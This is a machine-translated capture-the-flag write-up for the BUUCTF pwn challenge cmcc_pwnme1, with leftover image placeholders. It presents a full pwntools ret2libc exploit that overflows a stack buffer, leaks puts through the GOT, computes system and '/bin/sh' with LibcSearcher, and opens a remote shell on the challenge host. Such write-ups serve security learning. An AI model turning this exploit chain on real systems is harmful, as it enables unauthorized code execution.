[BUUCTF] PWN - cmcc_pwnme1 (ret2libc)

cmcc_pwnme1

annektieren

Schritt

  1. Routineinspektion, 32-Bit-Programm, nutzlos, um den Schutz einzuschalten
    Fügen Sie hier eine Bildbeschreibung ein
  2. Probieren Sie es vor Ort aus, um die allgemeine Situation zu sehen
    Fügen Sie hier eine Bildbeschreibung ein
  3. 32-Bit-IDA wird geladen und die Funktion zum Lesen des Flags wird beim Abrufen der Zeichenfolge gefunden.
    Fügen Sie hier eine Bildbeschreibung ein
    Die Position dieses Flags ist nicht klar, oder? Nach der Gewohnheit von buu sollte es falsch sein
    main ()
    Fügen Sie hier eine Bildbeschreibung ein
    getfruit (), Hier gibt es einen Stapelüberlauf
    Fügen Sie hier eine Bildbeschreibung ein
  4. Versuchen Sie zuerst die Funktion, die das Flag liest, wie ich dachte, das Flag-Verzeichnis auf buu ist nicht da
    Fügen Sie hier eine Bildbeschreibung ein
  5. Da ich sah, dass es nutzlos war, nx einzuschalten, wollte ich zuerst Shellcode verwenden, aber da ich die Position des Parameters v1 auf dem Stapel nicht ermitteln konnte, wechselte ich zu ret2libc.

Volle exp

from pwn import *
from LibcSearcher import *

#r=process('./pwnme1')
r=remote('node3.buuoj.cn',25064)
elf=ELF('./pwnme1')

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main_addr=elf.sym['main']

#泄露libc
r.recvuntil('Exit')
r.sendline('5')
payload='a'*(0xa4+4)+p32(puts_plt)+p32(main_addr)+p32(puts_got)
r.sendline(payload)

#计算system和bin/sh地址
puts_addr=u32(r.recvuntil('\xf7')[-4:])
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
sys_addr=libc_base+libc.dump('system')
bin_addr=libc_base+libc.dump('str_bin_sh')

r.recvuntil('Exit')
r.sendline('5')
payload='a'*(0xa4+4)+p32(sys_addr)+p32(0)+p32(bin_addr)
r.sendline(payload)

r.interactive()

Fügen Sie hier eine Bildbeschreibung ein

Ich denke du magst

Origin blog.csdn.net/mcmuyanga/article/details/113433052
Empfohlen
Rangfolge